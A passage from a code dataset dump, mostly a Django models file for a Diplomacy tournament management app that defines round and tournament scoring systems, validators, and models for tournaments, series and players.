self.decoder.fire(sos)\r\n output = [res]\r\n\r\n for i in xrange(max_length):\r\n res = self.decoder.fire(res)\r\n if np.argmax(res) == np.argmax(eos):\r\n output.append(res)\r\n break\r\n output.append(res)\r\n\r\n return output\r\n","repo_name":"rahul-acr/seed","sub_path":"network/seq2seq_context.py","file_name":"seq2seq_context.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41488650248","text":"from abc import ABC, abstractmethod\nfrom datetime import datetime, timedelta\nimport inspect\nfrom operator import itemgetter\nfrom pathlib import Path\nimport random\nimport string\nimport uuid\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom django.db import models, transaction\nfrom django.db.models import Sum, Max, Q\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.text import slugify\nfrom django.utils.translation import gettext as _\nfrom django.utils.translation import ngettext\n\nfrom tournament import backstabbr\nfrom tournament import webdip\n\nfrom tournament.background import WDD_BASE_RESULTS_URL\nfrom tournament.diplomacy.models.game_set import GameSet\nfrom tournament.diplomacy.models.great_power import GreatPower\nfrom tournament.diplomacy.models.supply_centre import SupplyCentre\nfrom tournament.diplomacy.values.diplomacy_values import FIRST_YEAR, WINNING_SCS, TOTAL_SCS\nfrom tournament.diplomacy.tasks.validate_preference_string import validate_preference_string\nfrom tournament.diplomacy.tasks.validate_ranking import validate_ranking\nfrom tournament.diplomacy.tasks.validate_sc_count import validate_sc_count\nfrom tournament.diplomacy.tasks.validate_year import validate_year\nfrom tournament.diplomacy.tasks.validate_year_including_start import validate_year_including_start\n\nfrom tournament.email import send_prefs_email\nfrom tournament.game_scoring import G_SCORING_SYSTEMS, GameScoringSystem\nfrom tournament.players import Player, add_player_bg\nfrom tournament.players import MASK_ALL_BG, MASK_ROUND_ENDPOINTS, MASK_SERIES_WINS\nfrom tournament.players import validate_wdd_tournament_id\nfrom tournament.tournament_game_state import TournamentGameState\n\n\nclass Seasons(models.TextChoices):\n \"\"\"Game turn season\"\"\"\n SPRING = 'S', _('spring')\n FALL = 'F', _('fall')\n\n\nclass Phases(models.TextChoices):\n \"\"\"Game turn phase\"\"\"\n MOVEMENT = 'M', _('movement')\n RETREATS = 'R', _('retreats')\n # Use X for adjustments to simplify sorting\n ADJUSTMENTS = 'X', _('adjustments')\n\n# Map a PHASE to its human-readable form\nPHASE_STR = {\n Phases.MOVEMENT: 'M',\n Phases.RETREATS: 'R',\n Phases.ADJUSTMENTS: 'A',\n}\n\n\nclass DrawSecrecy(models.TextChoices):\n \"\"\"What is revealed about draw votes\"\"\"\n SECRET = 'S', _('Pass/Fail')\n COUNTS = 'C', _('Numbers for and against')\n\n\nclass BestCountryCriteria(models.TextChoices):\n \"\"\"How Best Country awards are determined\"\"\"\n SCORE = 'S', _('Highest score')\n DOTS = 'D', _('Highest centre count')\n\n\nclass Formats(models.TextChoices):\n \"\"\"Tournament formats\"\"\"\n FTF = 'F', _('Face to Face')\n VFTF = 'V', _('Virtual Face to Face')\n\n\nclass PowerAssignMethods(models.TextChoices):\n \"\"\"How powers are assigned to players\"\"\"\n AUTO = 'A', _('Minimising playing the same power')\n MANUAL = 'M', _('Manually by TD or at the board')\n PREFERENCES = 'P', _('Using player preferences and ranking')\n\n\nclass InvalidScoringSystem(Exception):\n \"\"\"The specified scoring systm name is not recognised\"\"\"\n pass\n\n\nclass InvalidYear(Exception):\n \"\"\"The year provided is not a valid game year\"\"\"\n pass\n\n\nclass SCOwnershipsNotFound(Exception):\n \"\"\"\n The required SupplyCentreOwnership objects were not found in the database.\n \"\"\"\n pass\n\n\nclass InvalidPreferenceList(Exception):\n \"\"\"The string does not represent a valid preference list.\"\"\"\n pass\n\n\nclass PowerAlreadyAssigned(Exception):\n \"\"\"The GamePlayer already has a power assigned to them.\"\"\"\n pass\n\n\nclass InvalidPowerAssignmentMethod(Exception):\n \"\"\"The Tournament does not need player input to assign powers.\"\"\"\n pass\n\n\nclass RoundScoringSystem(ABC):\n \"\"\"\n A scoring system for a Round.\n Provides a method to calculate a score for each player of one round.\n \"\"\"\n MAX_NAME_LENGTH=40\n name = u''\n\n @abstractmethod\n def scores(self, game_players, non_players):\n \"\"\"\n game_players is a QuerySet of GamePlayers.\n non_players is a QuerySet of RoundPlayers who were present but agreed\n not to play.\n Returns a dict, indexed by player key, of scores.\n \"\"\"\n raise NotImplementedError\n\n def __str__(self):\n ret = self.name\n return ret\n\n\nclass RScoringBest(RoundScoringSystem):\n \"\"\"\n Take the best of any game scores for that round.\n\n non_player_score is the points that players get for sitting out a round.\n if non_player_score_once is set, non_player_score can only be scored\n once per player, regardless of the number of rounds they sit out.\n \"\"\"\n def __init__(self, non_player_score=0.0, non_player_score_once=False):\n self.non_player_score = non_player_score\n self.non_player_score_once = non_player_score_once\n self.name = _(u'Best game counts')\n if non_player_score > 0.0:\n if non_player_score_once:\n once_str = \" once\"\n else:\n once_str = \"\"\n self.name = _('Best game counts. Sitters get %(points)d%(once)s') % {'points': non_player_score,\n 'once': once_str}\n\n def scores(self, game_players, non_players):\n \"\"\"\n If any player played multiple games, take the best game score and flag the rest as dropped.\n Otherwise, just take their game score.\n game_players is a QuerySet of GamePlayers.\n non_players is a QuerySet of RoundPlayers who were present but agreed\n not to play.\n Return a dict, indexed by player key, of scores.\n \"\"\"\n retval = {}\n # for each player who played any of the specified games\n for p in Player.objects.filter(gameplayer__in=game_players).distinct():\n # Find just their games\n player_games = game_players.filter(player=p)\n # Find the highest score\n best = None\n for gp in player_games:\n if not best:\n best = gp\n elif gp.score > best.score:\n best.score_dropped = True\n best.save()\n best = gp\n else:\n gp.score_dropped = True\n gp.save()\n best.score_dropped = False\n best.save()\n retval[p] = best.score\n # Give the appropriate points to anyone who agreed to sit out\n for rp in non_players:\n if self.non_player_score_once:\n # If the \"sitting out\" bonus is only allowed once and they've sat out multiple rounds, they get zero\n bonus_already_given = False\n for r in rp.the_round.tournament.round_set.all():\n if r == rp.the_round:\n break\n rps = RoundPlayer.objects.filter(the_round=r).filter(player=rp.player)\n gps = GamePlayer.objects.filter(game__the_round=r).distinct().filter(player=rp.player)\n if rps.exists() and not gps.exists():\n # Player also didn't play in this earlier round\n bonus_already_given = True\n break\n if bonus_already_given:\n retval[rp.player] = 0.0\n continue\n retval[rp.player] = self.non_player_score\n return retval\n\n def __str__(self):\n ret = 'Best game score in each round counts'\n if self.non_player_score > 0.0:\n ret += '. Sitting out scores %.2f' % self.non_player_score\n if self.non_player_score_once:\n ret += ' once only'\n return ret\n\n\nclass RScoringAll(RoundScoringSystem):\n \"\"\"\n Total all the Player's game scores for that round.\n \"\"\"\n def __init__(self):\n self.name = _(u'Add all game scores')\n\n def scores(self, game_players, non_players):\n \"\"\"\n If any player played multiple games, sum all game scores.\n Otherwise, just take their game score.\n game_players is a QuerySet of GamePlayers.\n non_players is a QuerySet of RoundPlayers who were present but agreed\n not to play.\n Returns a dict, indexed by player key, of scores.\n \"\"\"\n retval = {}\n # for each player who played any of the specified games\n for p in Player.objects.filter(gameplayer__in=game_players).distinct():\n # Find just their games\n player_games = game_players.filter(player=p)\n # Add all game scores\n retval[p] = sum(gp.score for gp in player_games)\n # Give zero to anyone who didn't play\n for rp in non_players:\n retval[rp.player] = 0.0\n return retval\n\n\n# All the round scoring systems we support\nR_SCORING_SYSTEMS = [\n RScoringBest(),\n RScoringBest(4005.0),\n RScoringBest(4005.0, True),\n RScoringAll(),\n]\n\n\nclass TournamentScoringSystem(ABC):\n \"\"\"\n A scoring system for a Tournament.\n Provides a method to calculate a score for each player of tournament.\n \"\"\"\n MAX_NAME_LENGTH=40\n name = u''\n\n @abstractmethod\n def scores(self, round_players):\n \"\"\"\n Returns the tournament scores. Where Games and Rounds are complete,\n this is the final score. Where Games and Rounds are still in progress,\n this is the \"if all games finished now\" scores.\n Returns a dict, indexed by player key, of tournament scores\n \"\"\"\n raise NotImplementedError\n\n def __str__(self):\n ret = self.name\n return ret\n\n\nclass TScoringSum(TournamentScoringSystem):\n \"\"\"\n Just add up the best N round scores.\n \"\"\"\n scored_rounds = 0\n\n def __init__(self, name, scored_rounds):\n self.name = name\n self.scored_rounds = scored_rounds\n\n def scores(self, round_players):\n \"\"\"\n If a player played more than N rounds, sum the best N round scores and flag the rest as dropped.\n Otherwise, sum all their round scores.\n Returns a dict, indexed by player key, of tournament scores\n \"\"\"\n t_scores = {}\n # for each player who played any of the specified rounds\n for p in Player.objects.filter(roundplayer__in=round_players).distinct():\n # Find just their rounds, sort by score, descending\n player_rounds = round_players.filter(player=p).order_by('-score')\n # Add up the first N\n t_scores[p] = 0.0\n for n, rp in enumerate(player_rounds):\n if n < self.scored_rounds:\n t_scores[p] += rp.score\n rp.score_dropped = False\n rp.save()\n else:\n rp.score_dropped = True\n rp.save()\n return t_scores\n\n\nclass TScoringSumGames(TournamentScoringSystem):\n \"\"\"\n Just add up the best N Game scores.\n \"\"\"\n scored_games = 0\n\n def __init__(self, name, scored_games):\n self.name = name\n self.scored_games = scored_games\n\n def scores(self, round_players):\n \"\"\"\n If a player played more than N games, sum the best N game scores.\n Otherwise, sum all their game scores.\n Also updates all Round scores to relfect which games count towards the tournament score.\n Returns a dict, indexed by player key, of tournament scores\n \"\"\"\n t_scores = {}\n # for each player who played any of the specified rounds\n for p in Player.objects.filter(roundplayer__in=round_players).distinct():\n # Find just the rounds they played\n player_rounds = round_players.filter(player=p)\n # Assume all round scores are dropped unless we find out otherwise\n rounds = []\n for rp in player_rounds:\n rp.score = 0.0\n rp.score_dropped = True\n rp.save()\n rounds.append(rp.the_round)\n player_scores = GamePlayer.objects.filter(player=p,\n game__the_round__in=rounds).order_by('score')\n t_scores[p] = 0\n if len(player_scores) <= self.scored_games:\n # All games count for this player\n for gp in player_scores:\n t_scores[p] += gp.score\n # This game counts towards the round score\n # (and this round counts towards the tournament score)\n rp = gp.roundplayer()\n rp.score += gp.score\n rp.score_dropped = False\n rp.save()\n else:\n # Add up the best N, flag the rest as dropped\n player_scores = list(player_scores)\n for _ in range(self.scored_games):\n gp = player_scores.pop()\n t_scores[p] += gp.score\n # It's possible that a player's current score has dropped below an earlier score\n gp.score_dropped = False\n gp.save()\n # This game counts towards the round score\n # (and this round counts towards the tournament score)\n rp = gp.roundplayer()\n rp.score += gp.score\n rp.score_dropped = False\n rp.save()\n for gp in player_scores:\n gp.score_dropped = True\n gp.save()\n # If every Game in this Round is dropped, score the Round as the sum,\n # and dropped, to keep us consistent with other socring systems\n rp = gp.roundplayer()\n if rp.score_dropped:\n rp.score += gp.score\n rp.save()\n # The problem is that we go up from Game, to Round, to Tournament,\n # but now we want to go back to set the Round scores.\n # I guess we need to set them here and have a NOP RoundScoringSystem.\n # There's still the issue of what the RoundScoringSystem will report,\n # but maybe that doesn't matter - the calculation will be done before we ever use the round scores\n return t_scores\n\n\n# All the tournament scoring systems we support\nT_SCORING_SYSTEMS = [\n TScoringSum(_('Sum best 2 rounds'), 2),\n TScoringSum(_('Sum best 3 rounds'), 3),\n TScoringSum(_('Sum best 4 rounds'), 4),\n TScoringSumGames(_('Sum best 4 games in any rounds'), 4),\n]\n\n\ndef find_scoring_system(name, the_list):\n \"\"\"\n Searches through the_list for a scoring system with the specified name.\n Returns either the ScoringSystem object or None.\n \"\"\"\n for s in the_list:\n # There shouldn't be any abstract systems in here, but just in case...\n if (s.name == name) and not inspect.isabstract(s):\n return s\n return None\n\n\ndef find_game_scoring_system(name):\n \"\"\"\n Searches for a scoring system with the given name.\n Returns either the GameScoringSystem object or None.\n \"\"\"\n return find_scoring_system(name, G_SCORING_SYSTEMS)\n\n\ndef find_round_scoring_system(name):\n \"\"\"\n Searches for a scoring system with the given name.\n Returns either the RoundScoringSystem object or None.\n \"\"\"\n return find_scoring_system(name, R_SCORING_SYSTEMS)\n\n\ndef find_tournament_scoring_system(name):\n \"\"\"\n Searches for a scoring system with the given name.\n Returns either the TournamentScoringSystem object or None.\n \"\"\"\n return find_scoring_system(name, T_SCORING_SYSTEMS)\n\n\ndef get_scoring_systems(systems):\n \"\"\"\n Returns a list of two-tuples, suitable for use in a\n Django CharField.choices parameter.\n \"\"\"\n return sorted([(s.name, s.name) for s in systems if not inspect.isabstract(s)])\n\n\ndef validate_weight(value):\n \"\"\"\n No longer used. Retained for migrations.\n \"\"\"\n raise AssertionError(\"This function should no longer be used\")\n\n\ndef validate_game_name(value):\n \"\"\"\n Game names cannot contain spaces or '/' because they are used in URLs.\n \"\"\"\n VALID_CHARS = set(string.ascii_letters + string.digits + \"-._~:[]@!$'()*,;%=\")\n if not set(value) <= VALID_CHARS:\n raise ValidationError(_(u'Game names cannot contain \"%(chars)s\"'),\n params={'chars': ''.join(set(value) - VALID_CHARS)})\n\n\ndef validate_vote_count(value):\n \"\"\"\n Checks for a valid vote count\n \"\"\"\n if (value < 0) or (value > 7):\n raise ValidationError(_('%(value)d is not a valid vote count'),\n params={'value': value})\n\n\ndef validate_bid(value):\n \"\"\"\n No longer used. Retained for migrations.\n \"\"\"\n raise AssertionError(\"This function should no longer be used\")\n\n\ndef validate_tournament_scoring_system(value):\n \"\"\"\n Validator for Tournament.tournament_scoring_system\n \"\"\"\n system = find_tournament_scoring_system(value)\n if not system:\n raise ValidationError(_(\"%{value} is not a valid tournament scoring system\"),\n params={'value': value})\n\n\ndef validate_round_scoring_system(value):\n \"\"\"\n Validator for Tournament.round_scoring_system\n \"\"\"\n system = find_round_scoring_system(value)\n if not system:\n raise ValidationError(_(\"%{value} is not a valid round scoring system\"),\n params={'value': value})\n\n\ndef validate_game_scoring_system(value):\n \"\"\"\n Validator for Round.scoring_system.\n \"\"\"\n system = find_game_scoring_system(value)\n if not system:\n raise ValidationError(_(\"%{value} is not a valid game scoring system\"),\n params={'value': value})\n\n\ndef game_image_location(instance, filename):\n \"\"\"\n Function that determines where to store the file.\n \"\"\"\n # We expect instance to be a GameImage\n game = instance.game\n tournament = game.the_round.tournament\n return Path('games', tournament.name, str(tournament.start_date), game.name, filename)\n\n\nclass Award(models.Model):\n MAX_NAME_LENGTH = 40\n MAX_DESCRIPTION_LENGTH = 200\n\n name = models.CharField(max_length=MAX_NAME_LENGTH, unique=True)\n description = models.CharField(max_length=MAX_DESCRIPTION_LENGTH)\n power = models.ForeignKey(GreatPower,\n blank=True,\n null=True,\n on_delete=models.CASCADE,\n help_text=_(u'Set if this award is associated with a specific power (e.g. \"Best Italy\")'))\n\n def __str__(self):\n return _(f'{self.name}')\n\n\nclass Tournament(models.Model):\n \"\"\"\n A Diplomacy tournament\n \"\"\"\n # Flag value to use for players who are excluded from the rankings\n UNRANKED = 999999\n\n MAX_NAME_LENGTH = 60\n\n name = models.CharField(max_length=MAX_NAME_LENGTH)\n start_date = models.DateField()\n end_date = models.DateField()\n location = models.CharField(max_length=300, blank=True)\n # How do we combine round scores to get an overall player tournament score ?\n # This is the name of a TournamentScoringSystem object\n tournament_scoring_system = models.CharField(validators=[validate_tournament_scoring_system],\n max_length=TournamentScoringSystem.MAX_NAME_LENGTH,\n choices=get_scoring_systems(T_SCORING_SYSTEMS),\n help_text=_(u'How to combine round scores into a tournament score'))\n # How do we combine game scores to get an overall player score for a round ?\n # This is the name of a RoundScoringSystem object\n round_scoring_system = models.CharField(validators=[validate_round_scoring_system],\n max_length=RoundScoringSystem.MAX_NAME_LENGTH,\n choices=get_scoring_systems(R_SCORING_SYSTEMS),\n help_text=_(u'How to combine game scores into a round score'))\n draw_secrecy = models.CharField(max_length=1,\n verbose_name=_(u'What players are told about failed draw votes'),\n choices=DrawSecrecy.choices,\n default=DrawSecrecy.SECRET)\n is_published = models.BooleanField(default=False,\n help_text=_(u'Whether the tournament is visible to all site visitors'))\n managers = models.ManyToManyField(User,\n help_text=_(u'Which users can modify the tournament,
and see it while it is unpublished.
'))\n wdd_tournament_id = models.PositiveIntegerField(validators=[validate_wdd_tournament_id],\n verbose_name=_(\"This tournament's id in the WDD\"),\n blank=True,\n null=True,\n help_text=_('Add this after the tournament is complete and results have been uploaded to the WDD'))\n seed_games = models.BooleanField(default=True,\n help_text=_('Check to let the software seed players to games'))\n power_assignment = models.CharField(max_length=1,\n verbose_name=_('How powers are assigned'),\n choices=PowerAssignMethods.choices,\n default=PowerAssignMethods.AUTO)\n editable = models.BooleanField(default=True,\n help_text=_('Uncheck to disallow any further changes to the tournament'))\n best_country_criterion = models.CharField(max_length=1,\n verbose_name=_(u'How Best Country awards are determined'),\n choices=BestCountryCriteria.choices,\n default=BestCountryCriteria.SCORE)\n format = models.CharField(max_length=1,\n choices=Formats.choices,\n default=Formats.FTF)\n no_email = models.BooleanField(default=False,\n help_text=_('Check to only generate email to tournament managers'))\n delay_game_url_publication = models.BooleanField(default=False,\n verbose_name=_('Delay publishing game URL'),\n help_text=_('Check to keep game URL secret until after the tournament completes'))\n awards = models.ManyToManyField(Award,\n help_text=_('Which achievements may be recognised.'))\n discord_url = models.URLField(verbose_name=_('Discord webhook URL'),\n blank=True,\n null=True,\n help_text=_('Board calls will be posted here'))\n\n class Meta:\n ordering = ['-start_date']\n constraints = [\n models.CheckConstraint(check=Q(draw_secrecy__in=DrawSecrecy.values),\n name='%(class)s_draw_secrecy_valid'),\n models.CheckConstraint(check=Q(power_assignment__in=PowerAssignMethods.values),\n name='%(class)s_power_assignment_valid'),\n models.CheckConstraint(check=Q(best_country_criterion__in=BestCountryCriteria.values),\n name='%(class)s_best_country_criterion_valid'),\n models.CheckConstraint(check=Q(format__in=Formats.values),\n name='%(class)s_format_valid'),\n models.UniqueConstraint(fields=['name', 'start_date'],\n name='unique_name_date'),\n ]\n\n def powers_assigned_from_prefs(self):\n \"\"\"\n Returns True is power_assignment is PREFERENCES.\n Intended for use in template code.\n \"\"\"\n return self.power_assignment == PowerAssignMethods.PREFERENCES\n\n def is_virtual(self):\n \"\"\"\n Returns True if the Tournament is online,\n False if it is truly face-to-face.\n \"\"\"\n return self.format == Formats.VFTF\n\n def show_game_urls(self):\n \"\"\"\n Return a boolean indicating whether Game external_url should be displayed.\n \"\"\"\n if self.delay_game_url_publication:\n # Wait until 24 hours after the end of the last Round\n # (we ignore timezone issues - the delay doesn't have to be precise)\n return (datetime.now() > self.end_date + timedelta(hours=24))\n return True\n\n def tournament_scoring_system_obj(self):\n \"\"\"\n Return the TournamentScoringSystem object for the Tournament.\n Can raise InvalidScoringSystem.\n \"\"\"\n # Find the scoring system to combine round scores into a tournament score\n system = find_tournament_scoring_system(self.tournament_scoring_system)\n if not system:\n raise InvalidScoringSystem(self.tournament_scoring_system)\n return system\n\n def round_scoring_system_obj(self):\n \"\"\"\n Return the RoundScoringSystem object for the Tournament.\n Can raise InvalidScoringSystem.\n \"\"\"\n # Find the scoring system to combine game scores into a round score\n system = find_round_scoring_system(self.round_scoring_system)\n if not system:\n raise InvalidScoringSystem(self.round_scoring_system)\n return system\n\n def _calculated_scores(self):\n \"\"\"\n Calculates the scores for everyone registered for the tournament.\n Return a dict, keyed by player, of floats.\n \"\"\"\n system = self.tournament_scoring_system_obj()\n t_scores = system.scores(RoundPlayer.objects.filter(the_round__tournament=self).distinct())\n # Now add in anyone who has yet to attend a round\n for tp in self.tournamentplayer_set.all():\n if tp.player not in t_scores:\n t_scores[tp.player] = 0.0\n return t_scores\n\n def scores_detail(self):\n \"\"\"\n Returns the scores for everyone registered for the tournament.\n If the tournament is over, this will be the stored scores.\n If the tournament is ongoing, it will be the \"if all games\n ended now\" scores.\n Return a 2-tuple:\n - Dict, keyed by player, of float tournament scores.\n - Dict, keyed by round, of dicts, keyed by player,\n of float round scores\n \"\"\"\n t_scores = {}\n for p in self.tournamentplayer_set.all():\n t_scores[p.player] = p.score\n r_scores = {}\n for r in self.round_set.all():\n r_scores[r] = r.scores()\n return t_scores, r_scores\n\n def positions_and_scores(self):\n \"\"\"\n Returns the positions and scores of everyone registered.\n Return a 2-tuple:\n - Dict, keyed by player, of 2-tuples containing integer rankings\n (1 for first place, etc) and float tournament scores.\n Players who are flagged as unranked in the tournament get the special\n place UNRANKED.\n - Dict, keyed by round, of dicts, keyed by player, of float round scores\n \"\"\"\n result = {}\n t_scores, r_scores = self.scores_detail()\n # First, deal with any unranked players\n for tp in self.tournamentplayer_set.filter(unranked=True):\n # Take it out of scores and add it to result\n result[tp.player] = (Tournament.UNRANKED, t_scores.pop(tp.player))\n last_score = None\n for i, (k, v) in enumerate(sorted([(k, v) for k, v in t_scores.items()],\n key=itemgetter(1),\n reverse=True),\n start=1):\n if v != last_score:\n place, last_score = i, v\n result[k] = (place, v)\n return result, r_scores\n\n def winner(self):\n \"\"\"\n Return the player who won, or None if the tournament isn't yet finished\n \"\"\"\n if self.is_finished():\n # TODO This assumes no tie\n return self.tournamentplayer_set.filter(unranked=False).order_by('-score').first().player\n return None\n\n def update_scores(self):\n \"\"\"\n Recalculate the scores for the Tournament,\n and store them in the TournamentPlayers.\n If the Tournament has now ended, add Best Country awards to\n the appropriate TournamentPlayers.\n \"\"\"\n scores = self._calculated_scores()\n for tp in self.tournamentplayer_set.all():\n tp.score = scores[tp.player]\n tp.save()\n if self.is_finished():\n # Hand out Best Country awards\n for power, gp_list in self.best_countries().items():\n for award in self.awards.filter(power=power).all():\n for gp in gp_list:\n # TODO What if this gets called more than once?\n gp.tournamentplayer().awards.add(award)\n\n def round_numbered(self, number):\n \"\"\"\n Return the Round (if any) of the tournament with the specified number.\n \"\"\"\n for r in self.round_set.all():\n if r.number() == int(number):\n return r\n # This allows this function to be used like QuerySet.get()\n raise Round.DoesNotExist\n\n def _sort_best_country_list(self, gp_list):\n \"\"\"\n Take the list of (GamePlayer, score, dots, unranked) 4-tuples\n for one country, and sort it into best country ordering\n (highest to lowest).\n \"\"\"\n # First sort criterion is always whether they're ranked or not\n # Second and third are score and centre count, with the order they're\n # used depending on how the Tournament is set up.\n # For ranking, we want regular order (so False is before True),\n # for the others, we want reverse order (highest first)\n if self.best_country_criterion == BestCountryCriteria.SCORE:\n gp_list.sort(key=itemgetter(1, 2), reverse=True)\n else:\n gp_list.sort(key=itemgetter(2, 1), reverse=True)\n gp_list.sort(key=itemgetter(3))\n\n def best_countries(self, whole_list=False):\n \"\"\"\n Returns a dict, indexed by GreatPower,\n of lists of the GamePlayers doing best with each GreatPower.\n If whole_list is True, returns every player of each power, in order.\n If whole_list is False, returns just the winners (still a list, though).\n \"\"\"\n tuples = {}\n # We're going to need to \"if all games ended now\" score for every GamePlayer\n all_games = Game.objects.filter(the_round__tournament=self)\n # If no Games exist, return a dict of empty lists\n if not all_games:\n for power in GreatPower.objects.all():\n tuples[power] = []\n return tuples\n # Populate tuples. Dict, keyed by GreatPower,\n # of lists of (GamePlayer, score, dots, unranked) 4-tuples\n for gp in GamePlayer.objects.filter(game__the_round__tournament=self):\n if not gp.power:\n continue\n tuple_ = (gp, gp.score, gp.final_sc_count(), gp.tournamentplayer().unranked)\n tuples.setdefault(gp.power, []).append(tuple_)\n for power in tuples:\n self._sort_best_country_list(tuples[power])\n retval = {}\n # If the caller wants the whole list, that's easy\n if whole_list:\n for power in tuples:\n retval[power] = [gp for gp, _, _, _ in tuples[power]]\n return retval\n # Filter out all except the best for each country\n for power in tuples:\n best_gp, best_score, best_dots, best_unranked = tuples[power].pop(0)\n list_ = [best_gp]\n for gp, score, dots, unranked in tuples[power]:\n # It's only a tie if all three criteria match\n if (score == best_score) and (dots == best_dots) and (unranked == best_unranked):\n list_.append(gp)\n retval[power] = list_\n return retval\n\n def background(self, mask=MASK_ALL_BG):\n \"\"\"\n Returns a list of background strings for the tournament\n \"\"\"\n results = []\n for tp in self.tournamentplayer_set.all():\n results += tp.player.background(mask=mask)\n if (mask & MASK_SERIES_WINS) != 0:\n # Add in background for any series this Tournament is in\n for s in self.series_set.all():\n for t in s.tournaments.all():\n p = t.winner()\n if not p:\n continue\n # Is the winner of that Tournament also playing in this one?\n if self.tournamentplayer_set.filter(player=p).exists():\n results.append(_('%(name)s won %(tourney)s')\n % {'name': p, 'tourney': t})\n # Shuffle the resulting list\n random.shuffle(results)\n return results\n\n def game_set(self):\n \"\"\"\n Returns a queryset of all the Games in the Tournament\n \"\"\"\n return Game.objects.filter(the_round__tournament=self)\n\n def current_round(self):\n \"\"\"\n Returns the Round in progress, or None\n \"\"\"\n # Rely on the default ordering\n rds = self.round_set.reverse()\n for r in rds:\n if r.in_progress():\n return r\n # If no round is in progress, return the first unfinished round\n rds = self.round_set.all()\n for r in rds:\n if not r.is_finished():\n return r\n return None\n\n def is_finished(self):\n \"\"\"\n Returns True if the tournament has rounds, and they are all finished.\n Returns False otherwise.\n \"\"\"\n rds = self.round_set.all()\n # If there are no rounds, the tournament can't have started\n if not rds:\n return False\n # Look for any unfinished round\n for r in rds:\n if not r.is_finished():\n return False\n return True\n\n def in_progress(self):\n \"\"\"\n Returns True if the tournament has rounds, any is in progress,\n and not all have finished.\n Returns False otherwise.\n \"\"\"\n r = self.current_round()\n if r is None:\n # Either no rounds, or all are finished\n return False\n if r.number() != 1:\n # First round is finished\n return True\n # r is round 1, so the tournament is in_progress if the round is\n return r.in_progress()\n\n def wdd_url(self):\n \"\"\"\n URL for this tournament in the World Diplomacy Database, if known.\n \"\"\"\n if self.wdd_tournament_id:\n return WDD_BASE_RESULTS_URL + 'tournament_class.php?id_tournament=%d' % self.wdd_tournament_id\n return u''\n\n def get_absolute_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('tournament_detail', args=[str(self.id)])\n\n def save(self, *args, **kwargs):\n \"\"\"\n Save the object to the database.\n Updates score attributes of any TournamentPlayers.\n \"\"\"\n super().save(*args, **kwargs)\n\n # Change may affect the scoring\n try:\n validate_tournament_scoring_system(self.tournament_scoring_system)\n except ValidationError:\n pass\n else:\n self.update_scores()\n\n def __str__(self):\n return '%s %d' % (self.name, self.start_date.year)\n\n\nclass DBNCoverage(models.Model):\n \"\"\"\n A Diplomacy Broadcast Network broadcast for a Tournament.\n \"\"\"\n MAX_DESC_LENGTH = 30\n\n tournament = models.ForeignKey(Tournament, on_delete=models.CASCADE)\n dbn_url = models.URLField(verbose_name=_('DBN URL on YouTube'))\n description = models.CharField(max_length=MAX_DESC_LENGTH)\n\n class Meta:\n verbose_name_plural = 'DBN coverages'\n\n def __str__(self):\n return '%s %s' % (self.tournament, self.description)\n\n\nclass Series(models.Model):\n \"\"\"\n A series of Diplomacy tournaments, related in some way.\n \"\"\"\n MAX_NAME_LENGTH = 60\n MAX_DESC_LENGTH = 2000\n\n name = models.CharField(max_length=MAX_NAME_LENGTH)\n description = models.CharField(max_length=MAX_DESC_LENGTH, null=True)\n tournaments = models.ManyToManyField(Tournament)\n slug = models.SlugField(null=False, unique=True)\n\n class Meta:\n ordering = ['name']\n verbose_name_plural = 'Series'\n\n def get_absolute_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('series_detail', args=[self.slug])\n\n def __str__(self):\n return '%s' % (self.name)\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify(self.name)\n return super().save(*args, **kwargs)\n\n\nclass TournamentPlayer(models.Model):\n \"\"\"\n One player in a tournament\n \"\"\"\n MAX_BACKSTABBR_USERNAME_LENGTH=40\n\n player = models.ForeignKey(Player, on_delete=models.CASCADE)\n tournament = models.ForeignKey(Tournament, on_delete=models.CASCADE)\n score = models.FloatField(default=0.0)\n unranked = models.BooleanField(default=False,\n verbose_name=_('Ineligible for awards'),\n help_text=_('Set this to ignore this player when determining rankings'))\n uuid_str = models.CharField(max_length=36, blank=True)\n backstabbr_username = models.CharField(max_length=MAX_BACKSTABBR_USERNAME_LENGTH,\n blank=True,\n help_text=_('Username on the backstabbr website'))\n location = models.CharField(max_length=60, blank=True)\n awards = models.ManyToManyField(Award, blank=True)\n\n class Meta:\n ordering = ['player']\n # Each player can only be in each tournament once\n constraints = [\n models.UniqueConstraint(fields=['player', 'tournament'],\n name='unique_player_tournament'),\n ]\n\n def score_is_final(self):\n \"\"\"\n Returns True if the score attribute represents the final score for the TournamentPlayer,\n False if it is the \"if all games ended now\" score.\n \"\"\"\n t = self.tournament\n if t.is_finished():\n return True\n if not isinstance(t.tournament_scoring_system_obj(), TScoringSumGames):\n # If any round score for this player isn't final, this score also could change\n for rp in self.roundplayers():\n if not rp.score_is_final():\n return False\n final_round = t.round_set.last()\n if not final_round.in_progress():\n # There are more rounds to go, so more opportunities to score\n return False\n if isinstance(t.tournament_scoring_system_obj(), TScoringSumGames):\n # If the final Round is in progress, just check all their Games\n for gp in GamePlayer.objects.filter(player=self.player,\n game__the_round__tournament=t):\n if not gp.score_is_final():\n return False\n return True\n # The final Round has started\n # They're either not playing in it\n # or they are playing and we already checked their round score,\n # and it can't change\n return True\n\n def position(self):\n \"\"\"\n Where is the player (currently) ranked overall in the tournament?\n Returns Tournament.UNRANKED if self.unranked is True.\n \"\"\"\n return self.tournament.positions_and_scores()[0][self.player][0]\n\n def roundplayers(self):\n \"\"\"\n Returns a QuerySet for the corresponding RoundPlayers.\n \"\"\"\n return self.player.roundplayer_set.filter(the_round__tournament=self.tournament).distinct()\n\n def rounds_played(self):\n \"\"\"\n Returns the number of Rounds in which the Player actually played.\n \"\"\"\n # I suspect there's some clever QuerySet stuff that could avoid the loop...\n return sum(1 for rp in self.roundplayers() if rp.gameplayers().exists())\n\n def create_preferences_from_string(self, the_string):\n \"\"\"\n Given a string like \"AEGFIRT\", creates the corresponding Preferences\n in the database.\n Powers will be assigned a ranking from 1 for the first.\n Excluded powers will be unranked.\n Any pre-existing preferences for the player will be deleted.\n Raises InvalidPreferenceList if anything is wrong with the string.\n \"\"\"\n # Convert the preference string to all uppercase\n # TODO This assumes 